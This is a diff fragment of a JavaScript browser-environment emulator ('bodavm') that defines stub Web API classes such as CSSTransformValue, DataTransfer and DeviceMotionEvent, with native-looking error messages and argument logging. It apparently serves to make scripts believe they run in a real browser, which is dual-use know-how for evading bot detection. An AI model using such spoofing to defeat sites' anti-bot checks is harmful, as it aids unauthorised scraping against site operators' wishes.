"CSSStyleSheet", "replaceSync", arguments); + } +}, 'prototype'); +// CSSSupportsRule对象 + +bodavm.memory.globalobj['CSSSupportsRule'] = function CSSSupportsRule() { + console.log_copy('CSSSupportsRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSupportsRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSupportsRule'], "CSSSupportsRule"); +bodavm.memory.globalobj['CSSSupportsRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSSupportsRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; +// CSSTransformValue对象 + +bodavm.memory.globalobj['CSSTransformValue'] = function CSSTransformValue() { + console.log_copy('CSSTransformValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransformValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTransformValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformValue'], "CSSTransformValue"); +bodavm.memory.globalobj['CSSTransformValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSTransformValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSTransformValue', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "is2D_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "toMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function toMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "toMatrix", arguments); + } +}, 'prototype'); +// CSSTransition对象 + +bodavm.memory.globalobj['CSSTransition'] = function CSSTransition() { + console.log_copy('CSSTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransition'], "CSSTransition"); +bodavm.memory.globalobj['CSSTransition'].prototype.__proto__ = bodavm.memory.globalobj['Animation'].prototype; +bodavm.memory.globalobj['CSSTransition'].__proto__ = bodavm.memory.globalobj['Animation']; +bodavm.toolsFunc.defineProperty('CSSTransition', "transitionProperty", { + configurable: true, + enumerable: true, + get: function transitionProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransition'].prototype, "CSSTransition", "transitionProperty_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSTranslate对象 + +bodavm.memory.globalobj['CSSTranslate'] = function CSSTranslate() { + console.log_copy('CSSTranslate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTranslate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTranslate': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTranslate'], "CSSTranslate"); +bodavm.memory.globalobj['CSSTranslate'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSTranslate'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSTranslate', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTranslate', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTranslate', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_set", arguments); + } +}, 'prototype'); +// CSSUnitValue对象 + +bodavm.memory.globalobj['CSSUnitValue'] = function CSSUnitValue() { + console.log_copy('CSSUnitValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSUnitValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnitValue': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnitValue'], "CSSUnitValue"); +bodavm.memory.globalobj['CSSUnitValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSNumericValue'].prototype; +bodavm.memory.globalobj['CSSUnitValue'].__proto__ = bodavm.memory.globalobj['CSSNumericValue']; +bodavm.toolsFunc.defineProperty('CSSUnitValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnitValue', "unit", { + configurable: true, + enumerable: true, + get: function unit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "unit_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSUnparsedValue对象 + +bodavm.memory.globalobj['CSSUnparsedValue'] = function CSSUnparsedValue() { + console.log_copy('CSSUnparsedValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSUnparsedValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnparsedValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnparsedValue'], "CSSUnparsedValue"); +bodavm.memory.globalobj['CSSUnparsedValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSUnparsedValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSVariableReferenceValue对象 + +bodavm.memory.globalobj['CSSVariableReferenceValue'] = function CSSVariableReferenceValue() { + console.log_copy('CSSVariableReferenceValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSVariableReferenceValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSVariableReferenceValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSVariableReferenceValue'], "CSSVariableReferenceValue"); +bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "variable", { + configurable: true, + enumerable: true, + get: function variable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_get", arguments); + }, + set: function variable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "fallback", { + configurable: true, + enumerable: true, + get: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "fallback_get", arguments); + }, + set: undefined +}, 'prototype'); +// customElements对象 + +bodavm.memory.globalobj['customElements'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['customElements'].__proto__ = bodavm.memory.globalobj['CustomElementRegistry'].prototype; +// CustomEvent对象 + +bodavm.memory.globalobj['CustomEvent'] = function CustomEvent() { + console.log_copy('CustomEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CustomEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomEvent'], "CustomEvent"); +bodavm.memory.globalobj['CustomEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['CustomEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('CustomEvent', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomEvent', "initCustomEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initCustomEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "initCustomEvent", arguments); + } +}, 'prototype'); +// CustomStateSet对象 + +bodavm.memory.globalobj['CustomStateSet'] = function CustomStateSet() { + console.log_copy('CustomStateSet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CustomStateSet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomStateSet'], "CustomStateSet"); +bodavm.toolsFunc.defineProperty('CustomStateSet', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CustomStateSet', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "values", arguments); + } +}, 'prototype'); +// DataTransfer对象 + +bodavm.memory.globalobj['DataTransfer'] = function DataTransfer() { + console.log_copy('DataTransfer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DataTransfer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransfer'], "DataTransfer"); +bodavm.toolsFunc.defineProperty('DataTransfer', "dropEffect", { + configurable: true, + enumerable: true, + get: function dropEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_get", arguments); + }, + set: function dropEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "effectAllowed", { + configurable: true, + enumerable: true, + get: function effectAllowed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_get", arguments); + }, + set: function effectAllowed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "items", { + configurable: true, + enumerable: true, + get: function items() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "items_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "types", { + configurable: true, + enumerable: true, + get: function types() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "types_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "files_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "clearData", { + configurable: true, + enumerable: true, + writable: true, + value: function clearData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "clearData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "getData", { + configurable: true, + enumerable: true, + writable: true, + value: function getData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "getData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "setData", { + configurable: true, + enumerable: true, + writable: true, + value: function setData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "setDragImage", { + configurable: true, + enumerable: true, + writable: true, + value: function setDragImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setDragImage", arguments); + } +}, 'prototype'); +// DataTransferItem对象 + +bodavm.memory.globalobj['DataTransferItem'] = function DataTransferItem() { + console.log_copy('DataTransferItem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DataTransferItem)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItem'], "DataTransferItem"); +bodavm.toolsFunc.defineProperty('DataTransferItem', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFile", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFile", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsString", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "webkitGetAsEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitGetAsEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "webkitGetAsEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFileSystemHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsFileSystemHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFileSystemHandle", arguments); + } +}, 'prototype'); +// DataTransferItemList对象 + +bodavm.memory.globalobj['DataTransferItemList'] = function DataTransferItemList() { + console.log_copy('DataTransferItemList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DataTransferItemList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItemList'], "DataTransferItemList"); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "remove", arguments); + } +}, 'prototype'); +// DecompressionStream对象 + +bodavm.memory.globalobj['DecompressionStream'] = function DecompressionStream() { + console.log_copy('DecompressionStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DecompressionStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DecompressionStream': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DecompressionStream'], "DecompressionStream"); +bodavm.toolsFunc.defineProperty('DecompressionStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DecompressionStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// DelayNode对象 + +bodavm.memory.globalobj['DelayNode'] = function DelayNode() { + console.log_copy('DelayNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DelayNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DelayNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelayNode'], "DelayNode"); +bodavm.memory.globalobj['DelayNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['DelayNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('DelayNode', "delayTime", { + configurable: true, + enumerable: true, + get: function delayTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelayNode'].prototype, "DelayNode", "delayTime_get", arguments); + }, + set: undefined +}, 'prototype'); +// DelegatedInkTrailPresenter对象 + +bodavm.memory.globalobj['DelegatedInkTrailPresenter'] = function DelegatedInkTrailPresenter() { + console.log_copy('DelegatedInkTrailPresenter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DelegatedInkTrailPresenter)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelegatedInkTrailPresenter'], "DelegatedInkTrailPresenter"); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "presentationArea", { + configurable: true, + enumerable: true, + get: function presentationArea() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "presentationArea_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "expectedImprovement", { + configurable: true, + enumerable: true, + get: function expectedImprovement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "expectedImprovement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "updateInkTrailStartPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function updateInkTrailStartPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "updateInkTrailStartPoint", arguments); + } +}, 'prototype'); +// DeviceMotionEvent对象 + +bodavm.memory.globalobj['DeviceMotionEvent'] = function DeviceMotionEvent() { + console.log_copy('DeviceMotionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceMotionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEvent'], "DeviceMotionEvent"); +bodavm.memory.globalobj['DeviceMotionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['DeviceMotionEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "acceleration", { + configurable: true, + enumerable: true, + get: function acceleration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "acceleration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "accelerationIncludingGravity", { + configurable: true, + enumerable: true, + get: function accelerationIncludingGravity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "accelerationIncludingGravity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "rotationRate", { + configurable: true, + enumerable: true, + get: function rotationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "rotationRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "interval", { + configurable: true, + enumerable: true, + get: function interval() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "interval_get", arguments); + }, + set: undefined +}, 'prototype'); +// DeviceMotionEventAcceleration对象 + +bodavm.memory.globalobj['DeviceMotionEventAcceleration'] = function DeviceMotionEventAcceleration() { + console.log_copy('DeviceMotionEventAcceleration 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEventAcceleration)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventAcceleration'], "DeviceMotionEventAcceleration"); 